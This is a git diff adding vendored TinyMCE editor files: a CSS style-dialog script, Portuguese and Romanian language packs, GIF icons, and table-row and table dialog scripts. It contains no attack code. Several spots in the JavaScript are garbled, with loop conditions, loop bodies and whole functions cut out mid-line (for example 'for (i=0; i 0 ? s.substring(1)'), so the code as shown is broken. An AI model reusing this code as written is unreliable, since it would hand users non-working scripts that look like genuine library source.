fillSelect(0, 'positioning_clip_bottom_measurement', 'style_positioning_clip_bottom_measurement', defaultMeasurement, ';', true); + fillSelect(0, 'positioning_clip_left_measurement', 'style_positioning_clip_left_measurement', defaultMeasurement, ';', true); + + TinyMCE_EditableSelects.init(); + setupFormData(); + showDisabledControls(); +} + +function setupFormData() { + var ce = document.getElementById('container'), f = document.forms[0], s, b, i; + + // Setup text fields + + selectByValue(f, 'text_font', ce.style.fontFamily, true, true); + selectByValue(f, 'text_size', getNum(ce.style.fontSize), true, true); + selectByValue(f, 'text_size_measurement', getMeasurement(ce.style.fontSize)); + selectByValue(f, 'text_weight', ce.style.fontWeight, true, true); + selectByValue(f, 'text_style', ce.style.fontStyle, true, true); + selectByValue(f, 'text_lineheight', getNum(ce.style.lineHeight), true, true); + selectByValue(f, 'text_lineheight_measurement', getMeasurement(ce.style.lineHeight)); + selectByValue(f, 'text_case', ce.style.textTransform, true, true); + selectByValue(f, 'text_variant', ce.style.fontVariant, true, true); + f.text_color.value = tinyMCEPopup.editor.dom.toHex(ce.style.color); + updateColor('text_color_pick', 'text_color'); + f.text_underline.checked = inStr(ce.style.textDecoration, 'underline'); + f.text_overline.checked = inStr(ce.style.textDecoration, 'overline'); + f.text_linethrough.checked = inStr(ce.style.textDecoration, 'line-through'); + f.text_blink.checked = inStr(ce.style.textDecoration, 'blink'); + f.text_none.checked = inStr(ce.style.textDecoration, 'none'); + updateTextDecorations(); + + // Setup background fields + + f.background_color.value = tinyMCEPopup.editor.dom.toHex(ce.style.backgroundColor); + updateColor('background_color_pick', 'background_color'); + f.background_image.value = ce.style.backgroundImage.replace(new RegExp("url\\('?([^']*)'?\\)", 'gi'), "$1"); + selectByValue(f, 'background_repeat', ce.style.backgroundRepeat, true, true); + selectByValue(f, 'background_attachment', ce.style.backgroundAttachment, true, true); + selectByValue(f, 'background_hpos', getNum(getVal(ce.style.backgroundPosition, 0)), true, true); + selectByValue(f, 'background_hpos_measurement', getMeasurement(getVal(ce.style.backgroundPosition, 0))); + selectByValue(f, 'background_vpos', getNum(getVal(ce.style.backgroundPosition, 1)), true, true); + selectByValue(f, 'background_vpos_measurement', getMeasurement(getVal(ce.style.backgroundPosition, 1))); + + // Setup block fields + + selectByValue(f, 'block_wordspacing', getNum(ce.style.wordSpacing), true, true); + selectByValue(f, 'block_wordspacing_measurement', getMeasurement(ce.style.wordSpacing)); + selectByValue(f, 'block_letterspacing', getNum(ce.style.letterSpacing), true, true); + selectByValue(f, 'block_letterspacing_measurement', getMeasurement(ce.style.letterSpacing)); + selectByValue(f, 'block_vertical_alignment', ce.style.verticalAlign, true, true); + selectByValue(f, 'block_text_align', ce.style.textAlign, true, true); + f.block_text_indent.value = getNum(ce.style.textIndent); + selectByValue(f, 'block_text_indent_measurement', getMeasurement(ce.style.textIndent)); + selectByValue(f, 'block_whitespace', ce.style.whiteSpace, true, true); + selectByValue(f, 'block_display', ce.style.display, true, true); + + // Setup box fields + + f.box_width.value = getNum(ce.style.width); + selectByValue(f, 'box_width_measurement', getMeasurement(ce.style.width)); + + f.box_height.value = getNum(ce.style.height); + selectByValue(f, 'box_height_measurement', getMeasurement(ce.style.height)); + selectByValue(f, 'box_float', ce.style.cssFloat || ce.style.styleFloat, true, true); + + selectByValue(f, 'box_clear', ce.style.clear, true, true); + + setupBox(f, ce, 'box_padding', 'padding', ''); + setupBox(f, ce, 'box_margin', 'margin', ''); + + // Setup border fields + + setupBox(f, ce, 'border_style', 'border', 'Style'); + setupBox(f, ce, 'border_width', 'border', 'Width'); + setupBox(f, ce, 'border_color', 'border', 'Color'); + + updateColor('border_color_top_pick', 'border_color_top'); + updateColor('border_color_right_pick', 'border_color_right'); + updateColor('border_color_bottom_pick', 'border_color_bottom'); + updateColor('border_color_left_pick', 'border_color_left'); + + f.elements.border_color_top.value = tinyMCEPopup.editor.dom.toHex(f.elements.border_color_top.value); + f.elements.border_color_right.value = tinyMCEPopup.editor.dom.toHex(f.elements.border_color_right.value); + f.elements.border_color_bottom.value = tinyMCEPopup.editor.dom.toHex(f.elements.border_color_bottom.value); + f.elements.border_color_left.value = tinyMCEPopup.editor.dom.toHex(f.elements.border_color_left.value); + + // Setup list fields + + selectByValue(f, 'list_type', ce.style.listStyleType, true, true); + selectByValue(f, 'list_position', ce.style.listStylePosition, true, true); + f.list_bullet_image.value = ce.style.listStyleImage.replace(new RegExp("url\\('?([^']*)'?\\)", 'gi'), "$1"); + + // Setup box fields + + selectByValue(f, 'positioning_type', ce.style.position, true, true); + selectByValue(f, 'positioning_visibility', ce.style.visibility, true, true); + selectByValue(f, 'positioning_overflow', ce.style.overflow, true, true); + f.positioning_zindex.value = ce.style.zIndex ? ce.style.zIndex : ""; + + f.positioning_width.value = getNum(ce.style.width); + selectByValue(f, 'positioning_width_measurement', getMeasurement(ce.style.width)); + + f.positioning_height.value = getNum(ce.style.height); + selectByValue(f, 'positioning_height_measurement', getMeasurement(ce.style.height)); + + setupBox(f, ce, 'positioning_placement', '', '', ['top', 'right', 'bottom', 'left']); + + s = ce.style.clip.replace(new RegExp("rect\\('?([^']*)'?\\)", 'gi'), "$1"); + s = s.replace(/,/g, ' '); + + if (!hasEqualValues([getVal(s, 0), getVal(s, 1), getVal(s, 2), getVal(s, 3)])) { + f.positioning_clip_top.value = getNum(getVal(s, 0)); + selectByValue(f, 'positioning_clip_top_measurement', getMeasurement(getVal(s, 0))); + f.positioning_clip_right.value = getNum(getVal(s, 1)); + selectByValue(f, 'positioning_clip_right_measurement', getMeasurement(getVal(s, 1))); + f.positioning_clip_bottom.value = getNum(getVal(s, 2)); + selectByValue(f, 'positioning_clip_bottom_measurement', getMeasurement(getVal(s, 2))); + f.positioning_clip_left.value = getNum(getVal(s, 3)); + selectByValue(f, 'positioning_clip_left_measurement', getMeasurement(getVal(s, 3))); + } else { + f.positioning_clip_top.value = getNum(getVal(s, 0)); + selectByValue(f, 'positioning_clip_top_measurement', getMeasurement(getVal(s, 0))); + f.positioning_clip_right.value = f.positioning_clip_bottom.value = f.positioning_clip_left.value; + } + +// setupBox(f, ce, '', 'border', 'Color'); +} + +function getMeasurement(s) { + return s.replace(/^([0-9.]+)(.*)$/, "$2"); +} + +function getNum(s) { + if (new RegExp('^(?:[0-9.]+)(?:[a-z%]+)$', 'gi').test(s)) + return s.replace(/[^0-9.]/g, ''); + + return s; +} + +function inStr(s, n) { + return new RegExp(n, 'gi').test(s); +} + +function getVal(s, i) { + var a = s.split(' '); + + if (a.length > 1) + return a[i]; + + return ""; +} + +function setValue(f, n, v) { + if (f.elements[n].type == "text") + f.elements[n].value = v; + else + selectByValue(f, n, v, true, true); +} + +function setupBox(f, ce, fp, pr, sf, b) { + if (typeof(b) == "undefined") + b = ['Top', 'Right', 'Bottom', 'Left']; + + if (isSame(ce, pr, sf, b)) { + f.elements[fp + "_same"].checked = true; + + setValue(f, fp + "_top", getNum(ce.style[pr + b[0] + sf])); + f.elements[fp + "_top"].disabled = false; + + f.elements[fp + "_right"].value = ""; + f.elements[fp + "_right"].disabled = true; + f.elements[fp + "_bottom"].value = ""; + f.elements[fp + "_bottom"].disabled = true; + f.elements[fp + "_left"].value = ""; + f.elements[fp + "_left"].disabled = true; + + if (f.elements[fp + "_top_measurement"]) { + selectByValue(f, fp + '_top_measurement', getMeasurement(ce.style[pr + b[0] + sf])); + f.elements[fp + "_left_measurement"].disabled = true; + f.elements[fp + "_bottom_measurement"].disabled = true; + f.elements[fp + "_right_measurement"].disabled = true; + } + } else { + f.elements[fp + "_same"].checked = false; + + setValue(f, fp + "_top", getNum(ce.style[pr + b[0] + sf])); + f.elements[fp + "_top"].disabled = false; + + setValue(f, fp + "_right", getNum(ce.style[pr + b[1] + sf])); + f.elements[fp + "_right"].disabled = false; + + setValue(f, fp + "_bottom", getNum(ce.style[pr + b[2] + sf])); + f.elements[fp + "_bottom"].disabled = false; + + setValue(f, fp + "_left", getNum(ce.style[pr + b[3] + sf])); + f.elements[fp + "_left"].disabled = false; + + if (f.elements[fp + "_top_measurement"]) { + selectByValue(f, fp + '_top_measurement', getMeasurement(ce.style[pr + b[0] + sf])); + selectByValue(f, fp + '_right_measurement', getMeasurement(ce.style[pr + b[1] + sf])); + selectByValue(f, fp + '_bottom_measurement', getMeasurement(ce.style[pr + b[2] + sf])); + selectByValue(f, fp + '_left_measurement', getMeasurement(ce.style[pr + b[3] + sf])); + f.elements[fp + "_left_measurement"].disabled = false; + f.elements[fp + "_bottom_measurement"].disabled = false; + f.elements[fp + "_right_measurement"].disabled = false; + } + } +} + +function isSame(e, pr, sf, b) { + var a = [], i, x; + + if (typeof(b) == "undefined") + b = ['Top', 'Right', 'Bottom', 'Left']; + + if (typeof(sf) == "undefined" || sf == null) + sf = ""; + + a[0] = e.style[pr + b[0] + sf]; + a[1] = e.style[pr + b[1] + sf]; + a[2] = e.style[pr + b[2] + sf]; + a[3] = e.style[pr + b[3] + sf]; + + for (i=0; i 0 ? s.substring(1) : s; + + if (f.text_none.checked) + s = "none"; + + ce.style.textDecoration = s; + + // Build background styles + + ce.style.backgroundColor = f.background_color.value; + ce.style.backgroundImage = f.background_image.value != "" ? "url(" + f.background_image.value + ")" : ""; + ce.style.backgroundRepeat = f.background_repeat.value; + ce.style.backgroundAttachment = f.background_attachment.value; + + if (f.background_hpos.value != "") { + s = ""; + s += f.background_hpos.value + (isNum(f.background_hpos.value) ? f.background_hpos_measurement.value : "") + " "; + s += f.background_vpos.value + (isNum(f.background_vpos.value) ? f.background_vpos_measurement.value : ""); + ce.style.backgroundPosition = s; + } + + // Build block styles + + ce.style.wordSpacing = f.block_wordspacing.value + (isNum(f.block_wordspacing.value) ? f.block_wordspacing_measurement.value : ""); + ce.style.letterSpacing = f.block_letterspacing.value + (isNum(f.block_letterspacing.value) ? f.block_letterspacing_measurement.value : ""); + ce.style.verticalAlign = f.block_vertical_alignment.value; + ce.style.textAlign = f.block_text_align.value; + ce.style.textIndent = f.block_text_indent.value + (isNum(f.block_text_indent.value) ? f.block_text_indent_measurement.value : ""); + ce.style.whiteSpace = f.block_whitespace.value; + ce.style.display = f.block_display.value; + + // Build box styles + + ce.style.width = f.box_width.value + (isNum(f.box_width.value) ? f.box_width_measurement.value : ""); + ce.style.height = f.box_height.value + (isNum(f.box_height.value) ? f.box_height_measurement.value : ""); + ce.style.styleFloat = f.box_float.value; + ce.style.cssFloat = f.box_float.value; + + ce.style.clear = f.box_clear.value; + + if (!f.box_padding_same.checked) { + ce.style.paddingTop = f.box_padding_top.value + (isNum(f.box_padding_top.value) ? f.box_padding_top_measurement.value : ""); + ce.style.paddingRight = f.box_padding_right.value + (isNum(f.box_padding_right.value) ? f.box_padding_right_measurement.value : ""); + ce.style.paddingBottom = f.box_padding_bottom.value + (isNum(f.box_padding_bottom.value) ? f.box_padding_bottom_measurement.value : ""); + ce.style.paddingLeft = f.box_padding_left.value + (isNum(f.box_padding_left.value) ? f.box_padding_left_measurement.value : ""); + } else + ce.style.padding = f.box_padding_top.value + (isNum(f.box_padding_top.value) ? f.box_padding_top_measurement.value : ""); + + if (!f.box_margin_same.checked) { + ce.style.marginTop = f.box_margin_top.value + (isNum(f.box_margin_top.value) ? f.box_margin_top_measurement.value : ""); + ce.style.marginRight = f.box_margin_right.value + (isNum(f.box_margin_right.value) ? f.box_margin_right_measurement.value : ""); + ce.style.marginBottom = f.box_margin_bottom.value + (isNum(f.box_margin_bottom.value) ? f.box_margin_bottom_measurement.value : ""); + ce.style.marginLeft = f.box_margin_left.value + (isNum(f.box_margin_left.value) ? f.box_margin_left_measurement.value : ""); + } else + ce.style.margin = f.box_margin_top.value + (isNum(f.box_margin_top.value) ? f.box_margin_top_measurement.value : ""); + + // Build border styles + + if (!f.border_style_same.checked) { + ce.style.borderTopStyle = f.border_style_top.value; + ce.style.borderRightStyle = f.border_style_right.value; + ce.style.borderBottomStyle = f.border_style_bottom.value; + ce.style.borderLeftStyle = f.border_style_left.value; + } else + ce.style.borderStyle = f.border_style_top.value; + + if (!f.border_width_same.checked) { + ce.style.borderTopWidth = f.border_width_top.value + (isNum(f.border_width_top.value) ? f.border_width_top_measurement.value : ""); + ce.style.borderRightWidth = f.border_width_right.value + (isNum(f.border_width_right.value) ? f.border_width_right_measurement.value : ""); + ce.style.borderBottomWidth = f.border_width_bottom.value + (isNum(f.border_width_bottom.value) ? f.border_width_bottom_measurement.value : ""); + ce.style.borderLeftWidth = f.border_width_left.value + (isNum(f.border_width_left.value) ? f.border_width_left_measurement.value : ""); + } else + ce.style.borderWidth = f.border_width_top.value + (isNum(f.border_width_top.value) ? f.border_width_top_measurement.value : ""); + + if (!f.border_color_same.checked) { + ce.style.borderTopColor = f.border_color_top.value; + ce.style.borderRightColor = f.border_color_right.value; + ce.style.borderBottomColor = f.border_color_bottom.value; + ce.style.borderLeftColor = f.border_color_left.value; + } else + ce.style.borderColor = f.border_color_top.value; + + // Build list styles + + ce.style.listStyleType = f.list_type.value; + ce.style.listStylePosition = f.list_position.value; + ce.style.listStyleImage = f.list_bullet_image.value != "" ? "url(" + f.list_bullet_image.value + ")" : ""; + + // Build positioning styles + + ce.style.position = f.positioning_type.value; + ce.style.visibility = f.positioning_visibility.value; + + if (ce.style.width == "") + ce.style.width = f.positioning_width.value + (isNum(f.positioning_width.value) ? f.positioning_width_measurement.value : ""); + + if (ce.style.height == "") + ce.style.height = f.positioning_height.value + (isNum(f.positioning_height.value) ? f.positioning_height_measurement.value : ""); + + ce.style.zIndex = f.positioning_zindex.value; + ce.style.overflow = f.positioning_overflow.value; + + if (!f.positioning_placement_same.checked) { + ce.style.top = f.positioning_placement_top.value + (isNum(f.positioning_placement_top.value) ? f.positioning_placement_top_measurement.value : ""); + ce.style.right = f.positioning_placement_right.value + (isNum(f.positioning_placement_right.value) ? f.positioning_placement_right_measurement.value : ""); + ce.style.bottom = f.positioning_placement_bottom.value + (isNum(f.positioning_placement_bottom.value) ? f.positioning_placement_bottom_measurement.value : ""); + ce.style.left = f.positioning_placement_left.value + (isNum(f.positioning_placement_left.value) ? f.positioning_placement_left_measurement.value : ""); + } else { + s = f.positioning_placement_top.value + (isNum(f.positioning_placement_top.value) ? f.positioning_placement_top_measurement.value : ""); + ce.style.top = s; + ce.style.right = s; + ce.style.bottom = s; + ce.style.left = s; + } + + if (!f.positioning_clip_same.checked) { + s = "rect("; + s += (isNum(f.positioning_clip_top.value) ? f.positioning_clip_top.value + f.positioning_clip_top_measurement.value : "auto") + " "; + s += (isNum(f.positioning_clip_right.value) ? f.positioning_clip_right.value + f.positioning_clip_right_measurement.value : "auto") + " "; + s += (isNum(f.positioning_clip_bottom.value) ? f.positioning_clip_bottom.value + f.positioning_clip_bottom_measurement.value : "auto") + " "; + s += (isNum(f.positioning_clip_left.value) ? f.positioning_clip_left.value + f.positioning_clip_left_measurement.value : "auto"); + s += ")"; + + if (s != "rect(auto auto auto auto)") + ce.style.clip = s; + } else { + s = "rect("; + t = isNum(f.positioning_clip_top.value) ? f.positioning_clip_top.value + f.positioning_clip_top_measurement.value : "auto"; + s += t + " "; + s += t + " "; + s += t + " "; + s += t + ")"; + + if (s != "rect(auto auto auto auto)") + ce.style.clip = s; + } + + ce.style.cssText = ce.style.cssText; +} + +function isNum(s) { + return new RegExp('[0-9]+', 'g').test(s); +} + +function showDisabledControls() { + var f = document.forms, i, a; + + for (i=0; i 1) { + addSelectValue(f, s, p[0], p[1]); + + if (se) + selectByValue(f, s, p[1]); + } else { + addSelectValue(f, s, p[0], p[0]); + + if (se) + selectByValue(f, s, p[0]); + } + } +} + +function toggleSame(ce, pre) { + var el = document.forms[0].elements, i; + + if (ce.checked) { + el[pre + "_top"].disabled = false; + el[pre + "_right"].disabled = true; + el[pre + "_bottom"].disabled = true; + el[pre + "_left"].disabled = true; + + if (el[pre + "_top_measurement"]) { + el[pre + "_top_measurement"].disabled = false; + el[pre + "_right_measurement"].disabled = true; + el[pre + "_bottom_measurement"].disabled = true; + el[pre + "_left_measurement"].disabled = true; + } + } else { + el[pre + "_top"].disabled = false; + el[pre + "_right"].disabled = false; + el[pre + "_bottom"].disabled = false; + el[pre + "_left"].disabled = false; + + if (el[pre + "_top_measurement"]) { + el[pre + "_top_measurement"].disabled = false; + el[pre + "_right_measurement"].disabled = false; + el[pre + "_bottom_measurement"].disabled = false; + el[pre + "_left_measurement"].disabled = false; + } + } + + showDisabledControls(); +} + +function synch(fr, to) { + var f = document.forms[0]; + + f.elements[to].value = f.elements[fr].value; + + if (f.elements[fr + "_measurement"]) + selectByValue(f, to + "_measurement", f.elements[fr + "_measurement"].value); +} + +function updateTextDecorations(){ + var el = document.forms[0].elements; + + var textDecorations = ["text_underline", "text_overline", "text_linethrough", "text_blink"]; + var noneChecked = el["text_none"].checked; + tinymce.each(textDecorations, function(id) { + el[id].disabled = noneChecked; + if (noneChecked) { + el[id].checked = false; + } + }); +} + +tinyMCEPopup.onInit.add(init); diff --git a/js/tiny_mce2/themes/advanced/skins/o2k7/pt.js b/js/tiny_mce2/themes/advanced/skins/o2k7/pt.js new file mode 100755 index 0000000..48d17b1 --- /dev/null +++ b/js/tiny_mce2/themes/advanced/skins/o2k7/pt.js @@ -0,0 +1 @@ +tinyMCE.addI18n('pt.advanced',{"underline_desc":"Sublinhado (Ctrl+U)","italic_desc":"It\u00e1lico (Ctrl+I)","bold_desc":"Negrito (Ctrl+B)",dd:"Descri\u00e7\u00e3o da defini\u00e7\u00e3o",dt:"Termo da defini\u00e7\u00e3o",samp:"Amostra de c\u00f3digo",code:"C\u00f3digo",blockquote:"Cita\u00e7\u00e3o em bloco",h6:"T\u00edtulo 6",h5:"T\u00edtulo 5",h4:"T\u00edtulo 4",h3:"T\u00edtulo 3",h2:"T\u00edtulo 2",h1:"T\u00edtulo 1",pre:"Pr\u00e9-formatado",address:"Endere\u00e7o",div:"Div",paragraph:"Par\u00e1grafo",block:"Formata\u00e7\u00e3o",fontdefault:"Tipo de fonte","font_size":"Tamanho","style_select":"Estilos","anchor_delta_width":"30","link_delta_height":"25","link_delta_width":"50","more_colors":"Mais cores","toolbar_focus":"Ir para as ferramentas - Alt+Q, Ir para o editor - Alt-Z, Ir para o endere\u00e7o do elemento - Alt-X",newdocument:"Tem a certeza que deseja apagar tudo?",path:"Endere\u00e7o","clipboard_msg":"Copiar/recortar/colar n\u00e3o est\u00e1 dispon\u00edvel no Mozilla e Firefox. Deseja mais informa\u00e7\u00f5es sobre este problema?","blockquote_desc":"Cita\u00e7\u00e3o em bloco","help_desc":"Ajuda","newdocument_desc":"Novo documento","image_props_desc":"Propriedades da imagem","paste_desc":"Colar","copy_desc":"Copiar","cut_desc":"Recortar","anchor_desc":"Inserir/editar \u00e2ncora","visualaid_desc":"Alternar guias/elementos invis\u00edveis","charmap_desc":"Inserir caracteres especiais","backcolor_desc":"Selecionar a cor de fundo","forecolor_desc":"Selecionar a cor do texto","custom1_desc":"Insira aqui a sua descri\u00e7\u00e3o personalizada","removeformat_desc":"Remover formata\u00e7\u00e3o","hr_desc":"Inserir separador horizontal","sup_desc":"Superior \u00e0 linha","sub_desc":"Inferior \u00e0 linha","code_desc":"Editar c\u00f3digo fonte","cleanup_desc":"Limpar c\u00f3digo incorreto","image_desc":"Inserir/editar imagem","unlink_desc":"Remover hyperlink","link_desc":"Inserir/editar hyperlink","redo_desc":"Refazer (Ctrl+Y)","undo_desc":"Desfazer (Ctrl+Z)","indent_desc":"Aumentar recuo","outdent_desc":"Diminuir recuo","numlist_desc":"Numera\u00e7\u00e3o","bullist_desc":"Marcadores","justifyfull_desc":"Justificar","justifyright_desc":"Alinhar \u00e0 direita","justifycenter_desc":"Centralizar","justifyleft_desc":"Alinhar \u00e0 esquerda","striketrough_desc":"Riscado","help_shortcut":"Pressione ALT-F10 para barra de ferramentas. Pressione ALT-0 para ajuda","rich_text_area":"\u00c1rea de edi\u00e7\u00e3o rica","shortcuts_desc":"Ajuda acessibilidade",toolbar:"Barra de ferramentas","anchor_delta_height":"","charmap_delta_height":"","charmap_delta_width":"","colorpicker_delta_height":"","colorpicker_delta_width":"","image_delta_height":"","image_delta_width":""}); \ No newline at end of file diff --git a/js/tiny_mce2/themes/advanced/skins/o2k7/pt_dlg.js b/js/tiny_mce2/themes/advanced/skins/o2k7/pt_dlg.js new file mode 100755 index 0000000..5310220 --- /dev/null +++ b/js/tiny_mce2/themes/advanced/skins/o2k7/pt_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('pt.advhr_dlg',{size:"Altura",noshade:"Sem sombra",width:"Largura",normal:"Normal",widthunits:"Unids"}); \ No newline at end of file diff --git a/js/tiny_mce2/themes/advanced/skins/o2k7/quicktime.gif b/js/tiny_mce2/themes/advanced/skins/o2k7/quicktime.gif new file mode 100755 index 0000000..8f10e7a Binary files /dev/null and b/js/tiny_mce2/themes/advanced/skins/o2k7/quicktime.gif differ diff --git a/js/tiny_mce2/themes/advanced/skins/o2k7/realmedia.gif b/js/tiny_mce2/themes/advanced/skins/o2k7/realmedia.gif new file mode 100755 index 0000000..fdfe0b9 Binary files /dev/null and b/js/tiny_mce2/themes/advanced/skins/o2k7/realmedia.gif differ diff --git a/js/tiny_mce2/themes/advanced/skins/o2k7/ro.js b/js/tiny_mce2/themes/advanced/skins/o2k7/ro.js new file mode 100755 index 0000000..88899a8 --- /dev/null +++ b/js/tiny_mce2/themes/advanced/skins/o2k7/ro.js @@ -0,0 +1 @@ +tinyMCE.addI18n('ro.advanced',{"underline_desc":"Subliniat (Ctrl+U)","italic_desc":"Italic (Ctrl+I)","bold_desc":"\u00cengro\u0219at (Ctrl B)",dd:"Defini\u021bie",dt:"Termen definit ",samp:"Mostr\u0103 de cod",code:"Cod",blockquote:"Citat",h6:"Titlu 6",h5:"Titlu 5",h4:"Titlu 4",h3:"Titlu 3",h2:"Titlu 2",h1:"Titlu 1",pre:"Preformatat",address:"Adres\u0103",div:"Div",paragraph:"Paragraf",block:"Format",fontdefault:"Familie font","font_size":"M\u0103rime font","style_select":"Stiluri","more_colors":"Mai multe culori...","toolbar_focus":"Salt la instrumente - Alt Q, Salt la editor - Alt-Z, Salt la cale - Alt-X",newdocument:"Sigur vrei s\u0103 \u0219tergi tot?",path:"Cale","clipboard_msg":"Copierea/t\u0103ierea/lipirea nu sunt disponibile \u00een Mozilla \u0219i Firefox.\nVrei mai multe informa\u021bii despre aceast\u0103 problem\u0103?","blockquote_desc":"Citat","help_desc":"Ajutor","newdocument_desc":"Document nou","image_props_desc":"Detalii imagine","paste_desc":"Lipe\u0219te","copy_desc":"Copiaz\u0103","cut_desc":"Taie","anchor_desc":"Inserare/editare ancor\u0103","visualaid_desc":"Comut\u0103 ghidajele/elementele invizibile","charmap_desc":"Inserare caracter special","backcolor_desc":"Culoare fundal","forecolor_desc":"Culoare text","custom1_desc":"Introdu aici o descriere","removeformat_desc":"Anuleaz\u0103 formatarea","hr_desc":"Insereaz\u0103 linie orizontal\u0103","sup_desc":"Superscript","sub_desc":"Subscript","code_desc":"Editare surs\u0103 HTML","cleanup_desc":"Cur\u0103\u021b\u0103 codul","image_desc":"Inserare/editare imagine","unlink_desc":"\u0218terge leg\u0103tura","link_desc":"Inserare/editare leg\u0103tur\u0103","redo_desc":"Ref\u0103 (Ctrl+Y)","undo_desc":"Undo (Ctrl+Z)","indent_desc":"Indenteaz\u0103","outdent_desc":"De-indenteaz\u0103","numlist_desc":"List\u0103 ordonat\u0103","bullist_desc":"List\u0103 neordonat\u0103","justifyfull_desc":"Aliniere pe toat\u0103 l\u0103\u021bimea","justifyright_desc":"Aliniere la dreapta","justifycenter_desc":"Centrare","justifyleft_desc":"Aliniere la st\u00e2nga","striketrough_desc":"T\u0103iat","help_shortcut":"Apas\u0103 ALT-F10 pentru bara de unelte. Apas\u0103 ALT-0 pentru ajutor","rich_text_area":"Zon\u0103 de text formatat","shortcuts_desc":"Ajutor accesabilitate",toolbar:"Bar\u0103 de unelte","anchor_delta_height":"","anchor_delta_width":"","charmap_delta_height":"","charmap_delta_width":"","colorpicker_delta_height":"","colorpicker_delta_width":"","link_delta_height":"","link_delta_width":"","image_delta_height":"","image_delta_width":""}); \ No newline at end of file diff --git a/js/tiny_mce2/themes/advanced/skins/o2k7/ro_dlg.js b/js/tiny_mce2/themes/advanced/skins/o2k7/ro_dlg.js new file mode 100755 index 0000000..d501da3 --- /dev/null +++ b/js/tiny_mce2/themes/advanced/skins/o2k7/ro_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('ro.advhr_dlg',{size:"\u00cen\u0103l\u021bime",noshade:"F\u0103r\u0103 umbre",width:"L\u0103\u021bime",normal:"Normal",widthunits:"Unit\u0103\u021bi"}); \ No newline at end of file diff --git a/js/tiny_mce2/themes/advanced/skins/o2k7/row.css b/js/tiny_mce2/themes/advanced/skins/o2k7/row.css new file mode 100755 index 0000000..0e397db --- /dev/null +++ b/js/tiny_mce2/themes/advanced/skins/o2k7/row.css @@ -0,0 +1,25 @@ +/* CSS file for row dialog in the table plugin */ + +.panel_wrapper div.current { + height: 200px; +} + +.advfield { + width: 200px; +} + +#action { + margin-bottom: 3px; +} + +#rowtype,#align,#valign,#class,#height { + width: 150px; +} + +#height { + width: 50px; +} + +.col2 { + padding-left: 20px; +} diff --git a/js/tiny_mce2/themes/advanced/skins/o2k7/row.js b/js/tiny_mce2/themes/advanced/skins/o2k7/row.js new file mode 100755 index 0000000..882bfb5 --- /dev/null +++ b/js/tiny_mce2/themes/advanced/skins/o2k7/row.js @@ -0,0 +1,237 @@ +tinyMCEPopup.requireLangPack(); + +function init() { + tinyMCEPopup.resizeToInnerSize(); + + document.getElementById('backgroundimagebrowsercontainer').innerHTML = getBrowserHTML('backgroundimagebrowser','backgroundimage','image','table'); + document.getElementById('bgcolor_pickcontainer').innerHTML = getColorPickerHTML('bgcolor_pick','bgcolor'); + + var inst = tinyMCEPopup.editor; + var dom = inst.dom; + var trElm = dom.getParent(inst.selection.getStart(), "tr"); + var formObj = document.forms[0]; + var st = dom.parseStyle(dom.getAttrib(trElm, "style")); + + // Get table row data + var rowtype = trElm.parentNode.nodeName.toLowerCase(); + var align = dom.getAttrib(trElm, 'align'); + var valign = dom.getAttrib(trElm, 'valign'); + var height = trimSize(getStyle(trElm, 'height', 'height')); + var className = dom.getAttrib(trElm, 'class'); + var bgcolor = convertRGBToHex(getStyle(trElm, 'bgcolor', 'backgroundColor')); + var backgroundimage = getStyle(trElm, 'background', 'backgroundImage').replace(new RegExp("url\\(['\"]?([^'\"]*)['\"]?\\)", 'gi'), "$1"); + var id = dom.getAttrib(trElm, 'id'); + var lang = dom.getAttrib(trElm, 'lang'); + var dir = dom.getAttrib(trElm, 'dir'); + + selectByValue(formObj, 'rowtype', rowtype); + + // Any cells selected + if (dom.select('td.mceSelected,th.mceSelected', trElm).length == 0) { + // Setup form + addClassesToList('class', 'table_row_styles'); + TinyMCE_EditableSelects.init(); + + formObj.bgcolor.value = bgcolor; + formObj.backgroundimage.value = backgroundimage; + formObj.height.value = height; + formObj.id.value = id; + formObj.lang.value = lang; + formObj.style.value = dom.serializeStyle(st); + selectByValue(formObj, 'align', align); + selectByValue(formObj, 'valign', valign); + selectByValue(formObj, 'class', className, true, true); + selectByValue(formObj, 'dir', dir); + + // Resize some elements + if (isVisible('backgroundimagebrowser')) + document.getElementById('backgroundimage').style.width = '180px'; + + updateColor('bgcolor_pick', 'bgcolor'); + } else + tinyMCEPopup.dom.hide('action'); +} + +function updateAction() { + var inst = tinyMCEPopup.editor, dom = inst.dom, trElm, tableElm, formObj = document.forms[0]; + var action = getSelectValue(formObj, 'action'); + + if (!AutoValidator.validate(formObj)) { + tinyMCEPopup.alert(AutoValidator.getErrorMessages(formObj).join('. ') + '.'); + return false; + } + + tinyMCEPopup.restoreSelection(); + trElm = dom.getParent(inst.selection.getStart(), "tr"); + tableElm = dom.getParent(inst.selection.getStart(), "table"); + + // Update all selected rows + if (dom.select('td.mceSelected,th.mceSelected', trElm).length > 0) { + tinymce.each(tableElm.rows, function(tr) { + var i; + + for (i = 0; i < tr.cells.length; i++) { + if (dom.hasClass(tr.cells[i], 'mceSelected')) { + updateRow(tr, true); + return; + } + } + }); + + inst.addVisual(); + inst.nodeChanged(); + inst.execCommand('mceEndUndoLevel'); + tinyMCEPopup.close(); + return; + } + + switch (action) { + case "row": + updateRow(trElm); + break; + + case "all": + var rows = tableElm.getElementsByTagName("tr"); + + for (var i=0; i colLimit) { + tinyMCEPopup.alert(inst.getLang('table_dlg.col_limit').replace(/\{\$cols\}/g, colLimit)); + return false; + } else if (rowLimit && rows > rowLimit) { + tinyMCEPopup.alert(inst.getLang('table_dlg.row_limit').replace(/\{\$rows\}/g, rowLimit)); + return false; + } else if (cellLimit && cols * rows > cellLimit) { + tinyMCEPopup.alert(inst.getLang('table_dlg.cell_limit').replace(/\{\$cells\}/g, cellLimit)); + return false; + } + + // Update table + if (action == "update") { + dom.setAttrib(elm, 'cellPadding', cellpadding, true); + dom.setAttrib(elm, 'cellSpacing', cellspacing, true); + + if (!isCssSize(border)) { + dom.setAttrib(elm, 'border', border); + } else { + dom.setAttrib(elm, 'border', ''); + } + + if (border == '') { + dom.setStyle(elm, 'border-width', ''); + dom.setStyle(elm, 'border', ''); + dom.setAttrib(elm, 'border', ''); + } + + dom.setAttrib(elm, 'align', align); + dom.setAttrib(elm, 'frame', frame); + dom.setAttrib(elm, 'rules', rules); + dom.setAttrib(elm, 'class', className); + dom.setAttrib(elm, 'style', style); + dom.setAttrib(elm, 'id', id); + dom.setAttrib(elm, 'summary', summary); + dom.setAttrib(elm, 'dir', dir); + dom.setAttrib(elm, 'lang', lang); + + capEl = inst.dom.select('caption', elm)[0]; + + if (capEl && !caption) + 